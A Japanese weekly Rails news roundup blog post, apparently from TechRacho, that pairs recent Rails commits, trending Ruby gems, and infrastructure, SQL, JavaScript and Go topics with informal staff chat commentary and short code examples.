つっつきボイス:「どもども、やる気が盛り上がってるうちに蛍光灯を交換しようと思って」「すみません、ウォッチのドラフトがぎりぎりでお手伝いする余裕なくて😅」「まあまあ😊」「それはそうとはてブの過去ブクマが統合される件↓ありがたいです🙏: TechRachoのブクマがhttp時代とhttps時代で泣き別れだったのがこれで統合されるといいなと」「そういえば何年か前に問い合わせたら見積りが結構な額になりましたね💸

  • 各記事冒頭には⚓でパーマリンクを置いてあります: 社内やTwitterでの議論などにどうぞ
  • 「つっつきボイス」はRailsウォッチ公開前ドラフトを社内有志でつっついたときの会話の再構成です👄
  • 毎月第一木曜日に「公開つっつき会」を開催しています: お気軽にご応募ください

先週のウォッチが特濃だったので、今回は軽めに戻しました🙇

⚓Rails: 先週の改修(Rails公式ニュースより)

直近コミットログから見繕いました。

今回はテストの修正が目立つ気がします。

⚓Zeitwerkが6.0に統合された


つっつきボイス:「お、Zeitwerkついに入った🎊」「これ↓見るとJRubyとかではまだ動かないのかなと思ったり」「あーオートローダーみたいなのはCRuby以外の実装だとすぐにはできなかったりするかも: 最適化みたいなのはJRubyとかでも検証しないといけないから大変」

# Gemfile#L47
-gem "bootsnap", ">= 1.1.0", require: false
+gem "bootsnap", ">= 1.4.0", require: false
+
+gem "zeitwerk", ">= 1.0.0" if RUBY_ENGINE == "ruby"

喜びの声もありました↓。


同PRより

「Zeitwerkの注意書きらしきものもガイドに追加されたようです↓」「なるほど、独自に初期化したければafter_initilizeに書けと: たしかにコードによってはこれで動かなくなるものがありそう」「お〜」「after_initilizeって今まであまり書かなかったし」

注: すべてのgemの初期化が実行された後で自分の初期化が実行されることについては保証されない。したがって、指定のgemに依存する初期化コードはconfig.after_initilizeブロックに置くべき。
#35055より

「あとたぶん直接の関連はないんですが、Ruby trunkでautoloadにimmediateモードを追加して欲しいというリクエスト↓があって、Matzはautoloadを好まないとありました」「autoloadってちょろいものを書くときなんかには要らないし、autoloadを使うと他のところに持っていったときになぜか動かなくなったりすることあるし😰」「あ〜」「autoloadがあると何かと複雑になりやすいので、Rubyになくてもいいんじゃねみたいな気持ちはちょっとわかる気はする😅

⚓column_exists?typeを指定せずにオプションを渡せるようにした

# activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb#L133
-     def column_exists?(table_name, column_name, type = nil, options = {})
+     def column_exists?(table_name, column_name, type = nil, **options)
        column_name = column_name.to_s
        checks = []
        checks << lambda { |c| c.name == column_name }
        checks << lambda { |c| c.type == type.to_sym rescue nil } if type
        column_options_keys.each do |attr|
          checks << lambda { |c| c.send(attr) == options[attr] } if options.key?(attr)
        end
        columns(table_name).any? { |c| checks.all? { |check| check[c] } }
      end

つっつきボイス:「options = {}**optionsに変えたということですが」「こんなふうに↓ハッシュをキーワード引数として受け取るようにして、typeを渡さなくてもいいようにしたのね」「お〜」「type = nilがデフォルト値付きだからハッシュを渡すと**optionsに吸い込まれるのか(こんな仕様だったとは💦)」

# activerecord/test/cases/ar_schema_test.rb#L119
-   assert_not @connection.columns(:has_timestamps).find { |c| c.name == "created_at" }.null
-   assert_not @connection.columns(:has_timestamps).find { |c| c.name == "updated_at" }.null
+   assert @connection.column_exists?(:has_timestamps, :created_at, null: false)
+   assert @connection.column_exists?(:has_timestamps, :updated_at, null: false)

⚓queue_classic gemのリポジトリパスを修正

# Gemfile#L52
  gem "sidekiq", require: false
  gem "sucker_punch", require: false
  gem "delayed_job", require: false
- gem "queue_classic", github: "rafaelfranca/queue_classic", branch: "update-pg", require: false, platforms: :ruby
+ gem "queue_classic", github: "QueueClassic/queue_classic", require: false, platforms: :ruby
  gem "sneakers", require: false
  gem "que", require: false
  gem "backburner", require: false

つっつきボイス:「修正はちょろいんですが、queue_classicって見たことなかったので: だいぶ古いgem?」「queue_classic知らないな〜: お、PostgreSQLでワーカーキューをやれるgemなのか」

# 同リポジトリより
# 引数なし
QC.enqueue("Time.now")

# 引数1つ
QC.enqueue("Kernel.puts", "hello world")

# 引数2つ
QC.enqueue("Kernel.printf", "hello %s", "world")

# ハッシュを渡す
QC.enqueue("Kernel.puts", {"hello" => "world"})

# arrayを渡す
QC.enqueue("Kernel.puts", ["hello", "world"])

# デフォルト以外のキューを使う
p_queue = QC::Queue.new("priority_queue")
p_queue.enqueue("Kernel.puts", ["hello", "world"])

「…言われてみればPostgreSQLにキュー機能ってあるし!」「マジで?: ぽすぐれってほんとに何でもありますね😳」「あるある😆: どこかでメッセージキューに使ってるのを見たことあった」「Redis入れずにやりたいときとかなのかな…」

ドキュメント: test_shm_mq
参考: アナログを愛するデジタル生活館 PostgreSQLでMQ

⚓マルチデータベースのコネクションプールエラーを修正

# activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb#L1007
      def retrieve_connection(spec_name) #:nodoc:
        pool = retrieve_connection_pool(spec_name)
-       raise ConnectionNotEstablished, "No connection pool with '#{spec_name}' found." unless pool
+
+       unless pool
+         # multiple database application
+         if ActiveRecord::Base.connection_handler != ActiveRecord::Base.default_connection_handler
+           raise ConnectionNotEstablished, "No connection pool with '#{spec_name}' found for the '#{ActiveRecord::Base.current_role}' role."
+         else
+           raise ConnectionNotEstablished, "No connection pool with '#{spec_name}' found."
+         end
+       end
+
        pool.connection
      end

つっつきボイス:「poolがない場合のエラーメッセージの親切度をアップした感」

⚓update_attributesの非推奨メッセージを追加

# activerecord/lib/active_record/persistence.rb#L438
    alias update_attributes update
    deprecate :update_attributes
    deprecate update_attributes: "please, use update instead"

つっつきボイス:「これは非推奨であって欲しいヤツ😤」「以前のウォッチでも話題になったupdate*系メソッドのひとつですね: ついに非推奨に👋」「つか非推奨はその前からと思われ😆: これもメッセージの親切化ということで」

後で調べると、Rails 4.1で消えた後、#8705で#updateのエイリアスとなって「soft deprecate」扱いとなり、そして今回非推奨になったという流れのようです。

参考: Rename update_attributes method to update by amparo-luna · Pull Request #8705 · rails/rails
参考: rails commit log流し読み(2018/02/18) - なるようになるブログ
参考: update_attributesが非推奨扱いになる - Qiita

⚓番外: テストの正規表現を素直な文字列に変更

# actionpack/test/dispatch/debug_exceptions_test.rb#L44
      case req.path
-     when %r{/pass}
+     when "/pass"
        [404, { "X-Cascade" => "pass" }, self]
-     when %r{/not_found}
+     when "/not_found"
        raise AbstractController::ActionNotFound
-     when %r{/runtime_error}
+     when "/runtime_error"
        raise RuntimeError
...

つっつきボイス:「これはワラタ😆」「必然性のない正規表現がどっちゃり😆」「テストをコピペしてるうちに広がっちゃったとかなんでしょうね」

⚓Rails

⚓今月の「盛り上がってるRails関連リポジトリ」(Hacklinesより)


つっつきボイス:「『定番gemリスト』にしようかと思いましたが、この記事とかぶるのでもっと人の多いときに回します🙇: 知らないgemもそこそこあったので」

「solidusはかのSpreeの後継というかfork」「eコマース用なんですね」


spreecommerce.orgより


「secure_railsは見た覚えが」「あ、secure_railsはankaneさんだ: そういえば前取り上げました(ウォッチ20170303)」


「Real World Railsもどこかで見たような」「あ、apps/engines/の下にいろんなRailsアプリやエンジンがずらっと入っている: 学習やコードベースの参考に便利ということか」「これ1つgit cloneすればあれこれ探して回るよりいいかも😋


「ranked-modelはacts_as_sortableやacts_as_listの置き換えと言ってるからそういうヤツか」「acts_asなんちゃらは古いgemが多いって言ってましたね(ウォッチ20180126)」


「combustion知らないけど、Railsエンジンをテストしやすくするものらしき」「ちなみにRailsのマウンタブルエンジンはRailsアプリが丸ごとに近いかたちで入っているので割とかさばります」


「herは好きだって前言ってましたね(ウォッチ20171027)」「結構好き😍: これだけですべて賄えるとまではいかないけれど」


「feedbinはマウントするだけで動くRSSリーダーアプリ、ローカルでも動くよって😆」「😆」「RSSリーダーって結局いつの間にか使わなくなるし」「私も今はRSSはSlackのチャンネルで受けて読んでます: リーダー立ち上げなくて済むので断然読みやすいしシェアも楽だし😋」「やっぱそうなるし☺


同リポジトリより


「Prettierはコード整形というかLinterというか」「Ruby以外にいろんな言語向けのぷりてぃあ〜があるんですね」「変数名の置き換えまではさすがにやらないかな😆: rufoよりは強めな感じだけど、Rufoより設定できるものが少ないのが惜しい気が」「Rufoは安心感ありますね☺

# 同リポジトリより
        d=[30644250780,9003106878,
    30636278846,66641217692,4501790980,
 671_24_603036,131_61973916,66_606629_920,
   30642677916,30643069058];a,s=[],$*[0]
      s.each_byte{|b|a<<("%036b"%d[b.
         chr.to_i]).scan(/\d{6}/)}
          a.transpose.each{ |a|
            a.join.each_byte{\
             |i|print i==49?\
               ($*[1]||"#")\
                 :32.chr}
                   puts
                    }
# 上を下のように整形する
d = [
  30644250780,
  9003106878,
  30636278846,
  66641217692,
  4501790980,
  671_24_603036,
  131_61973916,
  66_606629_920,
  30642677916,
  30643069058
]
a, s = [], $*[0]
s.each_byte { |b| a << ('%036b' % d[b.chr.to_i]).scan(/\d{6}/) }
a.transpose.each do |a|
  a.join.each_byte { |i| print i == 49 ? ($*[1] || '#') : 32.chr }
  puts
end


同サイトより

「ManageIQ?雑にググってみるとクラウド管理サービスということらしき↓」「2012年にRed Hatが買収したのか」「こんな感じのツールってあったかもそういえば: 自分たちで立ち上げるのはやだけど😆

参考: Red HatがManageIQを買収、ハイブリッドクラウド管理サービス強化へ:既存のIaaS/仮想化ツールを補完 - @IT


「あ、Algoliaは以前翻訳した超高速の検索APIサービスです」「AlgoliaをRailsから使えるgemね」

インタビュー: 超高速リアルタイム検索APIサービス「Algolia」の作者が語る高速化の秘訣(翻訳)


「coverbandはカバレッジ」「あー、そういえばこういうのを一時期漁ってたことあったし: なおcoverbandはproductionコードのカバレッジをチェックするらしい」「testじゃなくてproductionですか」「これがどの程度イケるかわからないけど、新しい分よかったりするのかな?🤔

「coverbandは、正体不明のRailsアプリがやってきたときのチェックに使ったことがあったような覚えがあったようなないような: 使われてないコードがどのぐらいあるかを調べるとか」「rails aboutコマンドとかrails notesコマンドの次ぐらいにやってみる感じでしょうか?」「そういうコマンドは大した情報取れませんけど😆: そういうのをさっと調べられるツールって、結構欲しいヤツなんですよ☺


<!-- 同リポジトリより -->
<%= bootstrap_form_for(@user) do |f| %>
  <%= f.email_field :email %>
  <%= f.password_field :password %>
  <%= f.check_box :remember_me %>
  <%= f.submit "Log In" %>
<% end %>

「bootstrap_formなんてのが出たのね」「この間話題になったsimple_formよりもイケてますかね?(ウォッチ20190204)」「ほー、Bootstrap 4に対応してるし: ノリはsimple_formだからキライな人もいそう〜😆」「😆」「でもこのbootstrap_formはform_with↓に対応してる😋、今使うならこっちの方なのかな」「おほ、TRIXにも対応してるって😆」「TRIXはRails 6で入る予定のAction Textの元になったBasecampのRich Textエディタですね」

[Rails 5.1] ‘form_with’ APIドキュメント完全翻訳

「今ならsimple_form使うよりbootstrap_formの方がよさげ👍


macinboxもこの間取り上げたし(ウォッチ20190204)、heavens_doorはたまたま次にエントリ用意してあるので次へ👉」「おk」「solargraphも前扱ってた(ウォッチ20190121)」


「これもよく登場した定番gemですね☺ウォッチ)」「Pagyは高速ページネーション↓」

Rails:「Pagy」gemでRailsアプリを高速ページネーション(翻訳)



デモサイトより

「これもankaneさんのBlazerはビジネスインテリジェンス向けってありますけど、ビジネスインテリジェンスってそもそも何でしたっけ?😅: 経営戦略をサジェスチョンするとか?」「いえいえそういうのじゃなくて、大量にあるデータの中から意味のあるデータを抽出すること😎」「あ、もっと広い意味でしたか💦

「BIは言ってみればデータビジュアライゼーションとデータ集計を組み合わせたような分野で、この種のBIツールで有名なのはtableau↓とかですね」「タブロー、知りませんでした…」「tableauは超有名よん✨


tableau.comより

「対象としてよく使われるのはCSVだったり、あるいはデータベースのデータの正規化をあえて落として、第3正規形を第1正規形にしたものだったりしますね」「お〜!」「そういうデータウェアハウスなんかの超絶デカいデータ🗻なんかにクエリをかけてよしなに分析するみたいなのをやります」

参考: [DB] 第一正規化・第二正規化・第三正規化の違い | ロジカルシンキンぐんっ!

「ビジネスという言葉につられてしまったけど、BIはそういうことだったんですね」「そうやって得られた結果を次のビジネス戦略に使ったりしますね」

「でblazerなんだけど、自分だったらこの手のgemで頑張るよりtabreauで頑張る方がいいと思うし😆」「たしかに〜😆」「BIやってみようっと」


run.rbも先週やりましたね(ウォッチ20190204)」


「suggest_rbって何をサジェスチョンするんだろ?」「お〜!what_returns?とかすると、その値を返すメソッドが何なのかを教えてくれるのか↓」「え〜何それスゴい😍」「言われてみれば『これを返すメソッド、きっとあるはず』という探し方はありだわ😋」「逆検索というか逆関数的な?」「内部は泥臭そうな予感🐌

# 同リポジトリより
require 'suggest'

# Object#what_returns?で、指定の値を返すメソッドを返してくれる
[1,2,3].what_returns? 1
=> [:first, :min]

# 引数も指定できる
[1,2,3].what_returns? [1], args: [1]
=> [:first, :take, :grep, :min]

# デフォルトではオブジェクトを改変しないメソッドのみを返す
[1,2,3].what_returns? [1], args: [1], allow_mutation: true
=> [:first, :take, :shift, :grep, :min]

# Stringなどさまざまなコアモジュールで使える
"HELLO".what_returns? "hello"
=> [:downcase, :swapcase]

「これが使えるのってRuby標準のメソッドだけ?自分の書いたメソッドでこれできたらかなりうれしいんだけど」「あ〜どうでしょう?🤔」「やってみないとわからないかな〜」

「RubyMineとかならこういうことできるでしょうか?」「いや〜Rubyはランタイムでいろいろ変わるから無理っしょ😅: Javaとかならできるかもしれないけど」

「これは中々のアイデア!」「ありそうでなかったというか、どうして今までこれがなかったんだ的なツールですね」「ググりにくいメソッドとか記法を調べるときとかにうれしい🥰」「『このメソッドからこういう結果を取り出したいのに名前がわからん!』みたいなのを調べられるのはいいっすね〜」

Rubyの標準になってもいい機能かもと思いました。ちょっと狭っ苦しいですが今週の🌟を進呈いたします。おめでとうございます!


TTYはイイやつ(ウォッチ20180615)」


「awesome_printはデータ構造をこうやってキレイに整形して色付きで出力してくれる🌈↓」

似たような感じで、k0kubunさんがだいぶ前に作ってくれたGo言語向けのpp↓はいつも愛用してます🙇


同リポジトリより


pipe_operatorもこの間出ましたね(ウォッチ20190121)」「本当に使われてるんだろうか?って思ったりするけど😆

「Netflixの高速なfast_jsonapiも出てた(ウォッチ20180209)」


「paranoiaは論理削除gem」「使う前によく考えないといかんヤツですね↓」

論理削除用paranoia gemがあるRailsプロジェクトで物理削除する方法

⚓heavens_door: amatsudaさん謹製のCapybaraスクリプト生成gem


同リポジトリより

「先週エントリに載せようと思って漏らしてました😅」「右上のボタンを押すとレコーディング開始して、Capybaraのテストスクリプトを生成してくれる🥰」「おーなるほど!自分のところでこんなにキレイに取れるかしら?」「見た感じマウスオーバーまでは取ってないようなので、そのあたりは自分でやる感じでしょうね☺」「fill_inのリンクとかも、同じようなリンクがいっぱいあったりする場合にどこまでキレイに取れるかはわからないし」

「まあそんなのは手で直せばいいことで、それよりもこうやってスタブコードをどんどん作れるのはとてもありがたい🙏」「うれしいよぉ〜😂」「いいgem👍」「天国見えた😇

天国の扉はボブ・ディランの曲かなとも思いましたが、カウボーイビバップの方がありそうかなと思いました。

⚓strftimer: strftimeのジェネレータサイト(Ruby Weeklyより)


strftimer.comより


つっつきボイス:「おお、これはstrftimeの日時フォーマットを生成してくれるヤツ😂」「『クリックしてAdobe Flash Playerを有効にします』って😆」「わお😆」「strftimeは慣れればだいたい覚えるけどっ」「いつもとりあえずググってます😆

[Ruby/Rails] strftimeのよく使うテンプレート

⚓Railsのバリデーターにパッチを当てる(Hacklinesより)


つっつきボイス:「いきなりDeviseとかつらそう😆」「あー、email uniquenessのバリデーターか」

⚓Railsのバリデータ

「ところで、他のWebフレームワークと比べてRailsのバリデーターは比較的拡張しやすい気がする」「わかるわかる」「何というか、過去にいろいろ見かけた他のバリデーション機能って、ものすごく大仰というかやけに重厚な作りになってることが多くって🐘、正規表現バリデータだけだと足りないような機能を3行ぐらい足そうと思っただけなのに、バリデーションクラスやら何やらをどっかん足して、さらにassignしないと使えないみたいなことがありすぎて🥶」「あるあるありすぎる〜🤣」「何というオーバーキル🗡」「他のフレームワークってPHPとか?」「PHPだったりJavaだったり」

「その点Railsはある意味設計上の諦めがよくてvalidateメソッド付けて貼ればできちゃうし、バリデーションクラスにするとしてもクラス作っちゃえばそんなに大変じゃないし😋」「とってもいい子😘」「まあエラーメッセージの扱いはともかくとして😆」「そうっi18nがつらいのっ😤」「根本は日本語と英語の文章構造が違ってるせいなんですけどね🇬🇧

参考: 【Rails】バリデーションの追加方法とエラーメッセージの表示 - Qiita

「ほどよく拡張性があって、しかも簡単に作れるバリデーターを設計するのはさじ加減が結構難しい」「言えてる」「どこが難しくなりがちかというと、バリデーターってネストしたいものなんですよ🐢」「あ〜たしかに!」「単品のバリデーターなら練習みたいなものなんですけどね☺

「バリデーションの中にグループがあってifで場合分けとかし始めると、このバリデーションがオンのときはこっちはオフにしたいとか始まって、するとグループの中に別のグループをネストしたくなる: そういうのにまで対応できる設計にしようとすると大変すぎて死ぬ🎃」「そういうことでしたか!」「そこまでやらなければならない場合って、はっきり言えば1割もない😆

「Railsの設計は、そういうのをクラスだとかモデルでコンポジットしているものだとかでやろうとする代わりに、単にコード書けばいいじゃんwという方法🤣」「🤣」「あの割り切り方はデータ構造が複雑にならずに済むので好き😋: その代りRailsではコードの方がスパゲッティ化する可能性がありますが🍝」「🤣」「Railsのバリデータが受け入れられたのはそういう割り切りのおかげなんじゃないかな🧐」「Railsは『バリデータ欲しけりゃ書いといてくれ、引っかかったら通さないでおくから』のノリなんで楽ちん😋

⚓大量のネステッドルーティングの扱いはRailsの方がSinatraより上(Ruby Weeklyより)


同記事より


つっつきボイス:「Sinatraはルーティングが重くなると急激に重くなると」「Sinatraでルーティングが万単位のアプリ書きたくねぇ〜😆」「そんなの想定になさそう😆」「他のフレームワークにせいと😆

⚓ペアプロの目的とは


つっつきボイス:「上は永和システムマネジメントさんの記事です: 難しいところはペアプロでなどの話題」「以前他の人のペアプロを横で見学したことありましたが、それだけでも得るものが多かったと感じました😀

「まず、開発でペアプロにどこまでコストを割けるかがひとつ難しい点ですね」「それはある」「ペアプロやるなら時間を取ってみっちりやらないといけないし」

「そしてRailsの場合、個別のアプリのコードベースを見るよりも『そもそも何が問題なんだっけ?』みたいなところにかかる時間の方がずっと多いですし」「うんうん」「もっとコード量の増えがちな他のWebフレームワークだったり言語だったりすると、コードを見るところで多くの時間を使うんですが、Railsの場合はコードを見るよりも設計の方を考える時間の方が圧倒的に長いから😆」「そうそう😆」「ビューとかやってればコードを見る量も少しは増えるけど、どちらかというと設計の絵を描きながらやってく方がペアプロでは多いし🎨」「それって見方を変えればRailsというフレームワークがものすごくちゃんと機能してるってことなのかも」

「ペアプロでは、教育目的を別にすると、やる人同士のレベル差があまりないことが基本的に多いかな」「あー、どちらかというと情報共有のためのペアプロなんですね」「ペアプロというとレベルの高い人が初心者をグリグリするみたいな教育的イメージを持たれているところがあって、そういう面もなきにしもあらずだし効用は確かにあるけど、実は本来ペアプロはそういうもんじゃない😎

「特にXP(エクストリームプログラミング)の文脈では、ペアプロは教育のための一方的なものではない」「そうそうっ」「同じレベルの人同士でやるのが本来🧐」「XP、昔流行った😆」「流行った😆

参考: エクストリーム・プログラミング - Wikipedia

⚓番外: 翻訳のノウハウ動画


つっつきボイス:「ファクトフルネス、買ったけどまだ読んでなかった」「この動画を安川さんに教えていただいたんですが、翻訳上の配慮の説明がよかったので😍」「お〜では」(しばし鑑賞)

「なるほど〜、ちょっとコードのリファクタリングみたい😊」「確かに良くできてるけど、構成まで変わったものを本来の意味での翻訳と呼んでいいのかどうかちょっと疑問が😅」「まあどちらかというとライティングのテクニックではありますね」「ライティングの手法としては非常にいいけど、翻訳と呼びたくない気が😆」「まあ翻訳も一種類じゃないのでものによりますね: コアな技術ドキュメントは丸めたり構成を変えたりするわけにいかないですし」「論文みたいに元々論理的に書かれている文書の翻訳なんかも構成とか曲げて欲しくないし☺

「Yahoo!ニュースあたりのヘッドラインに出てくるような翻訳記事ならこれでバッチリ👍」「ですね〜」「語のかぶりを削除するとかライティングでとても参考になる😋

「英語と日本語で情報密度の違い云々があったりするけど、このやり方だと元の英語より情報増えてるのかも😆」「😆」「意訳が多いほど量は増えるだろうし」

「ところでこういう文書修正法は、もうワードプロセッサが当たり前の世代のやり方だなと思ったり😆」「たしかに😆: 原稿用紙でこれやろうとしたら超大変」

「しかし原文の構成まで変えるとなると、契約によっては翻訳権あたりに引っかかったりしないのかな?」「あ〜言われてみれば」「翻訳じゃなくて要約ならわかるけど」「そういえば昔シドニィシェルダンの『ゲームの達人』っていうベストセラーになった本が超訳という触れ込みでしたけど、本当に原文とはごっそり変わってましたね: 出だしが『花の都パリ、霧の都ロンドン』みたいな感じなのに原文にそんなものどこにもないとか😆」「そういうのはさすがに通常の翻訳とは違う契約にしたとかなんでしょうね: 超訳と名乗ってやってる分にはいいけど、翻訳の名目でそれをやるとなると😆」「翻訳の定義次第かも😆」「ファクトフルネス訳した人は自分で論文も書いたりしてるし、もろもろ心得たうえでやってると思いますが☺

参考: ゲームの達人 - Wikipedia
参考: “超訳”って一体なんなの? (2010年3月4日) - エキサイトニュース

⚓その他Rails

⚓Ruby

⚓Rubyで無限ループをテストする(Hacklinesより)

# 同記事より
lass DoUsefulWork
  def self.call
    # do useful work
  end
end

class Worker
  def self.start
    loop do
      DoUsefulWork.call
    end
  end
end

つっつきボイス:「ループのブロックをテストしやすく切り出す方法、タイムアウトを使う方法、loopをスタブで塞ぐ方法の3つか」「無限ループのテストがしたいときってたまにあるし: ループカウンタとか」「イベントループなんかもでしょうか?」「イベントループはブロックするから別に大丈夫🧐

⚓dry-schemaをご紹介(Ruby Weeklyより)


つっつきボイス:「dry-schemaは名前からしてdry-rbシリーズのgemですね」「以下の記事にはないので新しいみたい」「dryシリーズいっぱいありすぎてよくわがんね😆: 使うときだけ検索してるし」「dryシリーズには欲しいものがだいたい入っているという感触は伝わってくる」「dry-allみたいなの作って全部入れられるようにしてくれないかな😆」「Active Support的に全部突っ込んで使うみたいな😆

Ruby: Dry-rb gemシリーズのラインナップと概要

⚓その他Ruby

かわゆいです❤

⚓クラウド/コンテナ/インフラ/Linux/Serverless

⚓SNIでサイトを遮断?


つっつきボイス:
「記事の中で遮断をSNIプロトコルベースで行ったとあって、遮断やら通信の秘密やらもさることながら、そっちが気になってて、SNIってそういう使い方するものなのだろうかと思って😅以下↓を貼ってみました」「このQiita記事のEncrypted SNIとか、あとはDNS over HTTPSあたりの記事は、今のようなときこそ読んでおくといいですね👍

「韓国のサイト遮断ってまさか抜き打ちでやったんだろか?🇰🇷」「どうなんでしょう、普通なら事前周知でしょうけど…」「日本もこの辺いろいろ言われてたりするけど🇯🇵」「そういえば漫画村遮断するとかしないとかやってましたね」「カドカワの退陣劇とか😆

これを見る限りですが、法改正も含めて10年ぐらいかかってるようです↓。

⚓その後

⚓今やスクショの方がWebサイトより軽い

参考: 「著作権侵害だから」という理由で「スクリーンショットを規制」するとマジで死ぬというのをかつて証明した実例がある - GIGAZINE

「上の記事はサイト遮断とは関係ないんですが、規制で自分の首を絞めた話ということで貼ってみました」「そういえばはてブあたりでこんな話が: 今の若い人はWebサイトをスマホで友だちとかにシェアするときにURLではなくてサイトのスクショ画像を投げ合ってたりするけど、今やWebサイトを開くよりもスクショの方がデータ転送量が軽いよねって指摘してた人がいた」「あー!😮言われてみれば…」「スクショ投げ合ってる人たちがそこまで考えてやってるかどうかまでは知りませんが😆」「😆

「スマホだとURLよりスクショの方が取りやすいというのはありそう」「それもありますが、今どきのWebサイトはWebフォントも含めてたいていメガ単位の通信量でデータ投げてくるし🗿: TechRachoもちょっとChrome DevToolsで見ただけでメガ単位だし↓」「普段から私がウォッチにツィートやら動画やら貼ってるせいもありますね😅」「あ、今のスクショは解像度が高いから撮り方にもよるだろうけど、うまく圧縮かかればスクショの方が軽くなるナ😎」「何という逆転⚽

なお上はシークレットモードで初回読み込んだときのスクショなので、キャッシュが効いてない状態です。


「あとSNIがらみということで、ちょうどRuby trunkにあった以下のissueをあえてここに貼ってみました」「IMAPが懐かしすぎるのはさておいて🤣、Rubyにnet/imapなんてのがあったなんてねー」「修正はめちゃピンポイントですね↓」「hostを受け取れるようにしただけと☺

# lib/net/imap.rb#L1092
      begin
        if options[:ssl]
-         start_tls_session(options[:ssl])
+         start_tls_session(options[:ssl], @host)
          @usessl = true
        else
          @usessl = false
        end

参考: Internet Message Access Protocol - Wikipedia

⚓コンテナビルドツール続々


つっつきボイス:「Publickeyでkanikoとjibが仲良く立て続けに出ていたので🦀」「あーなるほど、コンテナイメージだけ欲しいときに誰かがビルドしてくれるとうれしいというヤツ」


同リポジトリより


同リポジトリより

「こういうのが出てくると、DockerデーモンがなくてもDocker環境を作れるようになるナ」「あー、そこがうれしみなんですね😀」「もういい加減みんなLinuxサーバーを1台もホスティングしたくないんでしょう😆」「😆」「だからビルドも何もかも全部外でやりたいと: Dockerイメージをビルドする専用のCIを回したいならこういうのがあってもいいかもですね🥰

⚓その他クラウド


つっつきボイス:「相当昔の話ですが、マイクロソフトに転職した知人がその後すごく消耗して辞めたときに『社内の権力争いがひどすぎる』と漏らしてたのを思い出しました」「まあその手の話はちらほら聞いたことあるし、あれだけ大きい会社ならあっても不思議じゃないし☺」「それだけに最近のマイクロソフトの浄化の進み具合が驚きですね」



つっつきボイス:「これはまたえらく古めかしいテクニック🏛: Skypeがこういうのやってたのもいったいいつの頃だったか😆」「やっぱり〜」「この手のover HTTP的にプロトコル通すのはSkypeが一番積極的にやってましたね👾: いわゆるNAPT越え」「あーそれか: ググると2000年代初頭の記事がズラリですね」

参考: NAT traversal - Wikipedia

⚓SQL

⚓ MandrillのPostgreSQLが止まった(DB Weeklyより)


つっつきボイス:「PostgreSQLが息しなくなったみたいな話がHacker Newsにあがってたそうです」「そういやGitLabでもそんなことがあったし😇」「このMandrillって何のサービスでしたっけ?」「あーMailchimpのアドオンみたいなやつ」「メールのマーケティングとかそっち方面みたい: chimp(=チンパンジー)だからマンドリルなのかも🐵」「結構昔からあるサービスだったと思う: Rails 2ぐらいの頃とか」


mailchimp.comより

⚓csvq: SQLでcsvに直接アクセス


mithrandie.github.io/csvqより

# Simple query
csvq "select id, name from `user.csv`"
csvq "select id, name from user"

# Specify data delimiter as tab character
csvq -d "\t" "select count(*) from `user.csv`"

# Load no-header-csv
csvq --no-header "select c1, c2 from user"

# Load from redirection or pipe
csvq "select * from stdin" < user.csv
cat user.csv | csvq "select *"

つっつきボイス:「Go言語で書かれているそうです」「これ系のツールって昔からあったりしそうだけど?」「きっとありそう: ちょっとやってみた限りではあまりうまく動かせなくて😅、素直にSQLiteあたりに読み込む方が早かったかも」

⚓その他SQL


つっつきボイス:「エンジニアHub記事です」「実際システムやアプリなんかよりデータベースの方が寿命長いっすね🧐: ごく基本的な話」「データベースをアプリに任せっぱなしにするとその辺が疎かになりそう」「Railsしかやったことのないエンジニアが作ったアプリのデータベースがやってきたりすると結構つらい😭: もうそういうときはデータベースごと作り直すなんてこともしますし」「泣けてくる😢


⚓JavaScript

⚓「実践: React Hooks」

// 同記事より
function Foo({x}) {
  useEffect(() => console.log('x changed'), [x]);
  return <div>{x}</div>
}

つっつきボイス:「React Hooksはよくわがんねけど、まあmizchiさんがこういう解説を書いてるうちは積極的に使わなくても大丈夫かなと😆」「それいいかも😆」「mizchiさんは特殊系というか強い人だし、彼が使ってみた感想書いてる段階ならproductionであえて使わなくてよさげかも☺

「上と関係ありませんが、mizchiさんにもお師匠さんいるんだなと思って↓」「mizchiさんがメンターの下にいた時代面白い😆: 最終的にメンターとは相性次第だと思いますけどね☺

⚓言語

⚓GoのモジュールとGOPATH汚染問題


つっつきボイス:「GOPATHってモードなんだ!」「Go言語が次のバージョンでパッケージ管理をいよいよモジュールに切り替えるので、今はエクスペリメンタルに使える形なんですが、まだ試す余裕がなくて😅」「Go言語って元々でかいものを作ることが想定になかった節がありますよね😆: 言語仕様が小さいからと当時ドヤリングされてたのが結局こうなってきたし🤣」「クラス的なものもないし、コマンドラインツールをさっと作る感じでしたね🤣」「ある程度以上大きくなってくると、モジュールの名前空間を管理できるようにならないといろいろつらくなるだろうなって想像つくし😎

GOPATHに縛られる問題はいろいろつらい目に遭いました: go getすると常に最新のパッケージをfetchするのでそのままだとバージョンロックできなかったし、GCPでGo言語やろうとするとGOPATHにあるパッケージを全部アップロードされたりしたのでenvを無理やり切り替えてドツボにはまったり😢

⚓「未踏ジュニア」を応援しよう


jr.mitou.orgより


つっつきボイス:「お、未踏ユースって今は未踏ジュニアって言うんだ」「あ、違う名前で前からやってたんですね?」「こういう名前はいろいろ変わったりしますけどね☺

参考: 未踏ユースとは - はてなキーワード

「何と、未踏ジュニアってスポンサーがついてるじゃん↓❣: 国の予算が減ったとか?😆


jr.mitou.org/#sponsorより

「あ、RailsチュートリアルRailsガイドで私が一緒にやってる安川さんもPMとスポンサーになってるし↓: そういえば安川さんも未踏出身でした」「ko1さんもいる、お、竹内さんがスーパバイザー😍」「お〜」


jr.mitou.org/#pmsより

参考: 竹内郁雄 - Wikipedia


jr.mitou.org/#supervisorより

「うん、未踏は国の金を使うプロジェクトとしてはいいんじゃないって思うし👍」「かなり成果出してる印象ありますね🥰」「まあユースは本家未踏に比べて予算安いですが😆

「ジュニアは今見てみると50万か: 本家はたしか一千万ぐらい出せてだいたい何でも買えるし💰、物を買う以外に給与みたいな人件費にも使えるし」「クラウド課金とかもですね」「もちろん経費にできます😎

⚓その他言語

⚓その他

⚓RedmineからBacklogへ


つっつきボイス:「社内のRedmineヘビーユーザーがいろいろつらそうにしてたので、移行記事を拾ってみました」「移行か〜」「Redmineの移行は難しそう😅」「Redmine捨ててこれからはBacklogとかならともかく😆

「Redmineのプラグイン地獄とかあるし👺」「ま、Backlogはできないことがいろいろあるところがいいよね、なんて😅」「機能が絞り込まれてるとも言いますね😅


redmine.jpより

